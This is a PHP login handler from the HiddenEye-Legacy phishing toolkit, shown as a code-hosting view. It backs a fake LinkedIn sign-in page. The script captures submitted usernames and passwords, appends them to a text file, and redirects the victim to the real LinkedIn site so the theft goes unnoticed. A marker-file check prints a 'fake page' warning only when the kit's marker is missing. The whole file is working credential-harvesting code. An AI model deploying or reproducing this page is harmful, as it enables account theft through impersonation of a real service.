HiddenEye-Legacy/WebPages/linkedin/login.php

16 lines
510 B
PHP
Raw Normal View History

2018-03-26 22:24:30 +08:00
<?php
$var = $_POST['UsernameForm'];
$var2 = $_POST['PasswordForm'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>There's a Phishing Page generated by SocialFish in this website.</title></html>";
if($myFile == $searchString) {
file_put_contents("usernames.txt", "[EMAIL]: " . $var . " [PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location: https://linkedin.com/');
}
if($myFile != $searchString) {
echo "***ALERT! I AM A FAKE PAGE | DO NOT TRUST ME";
}
exit();
?>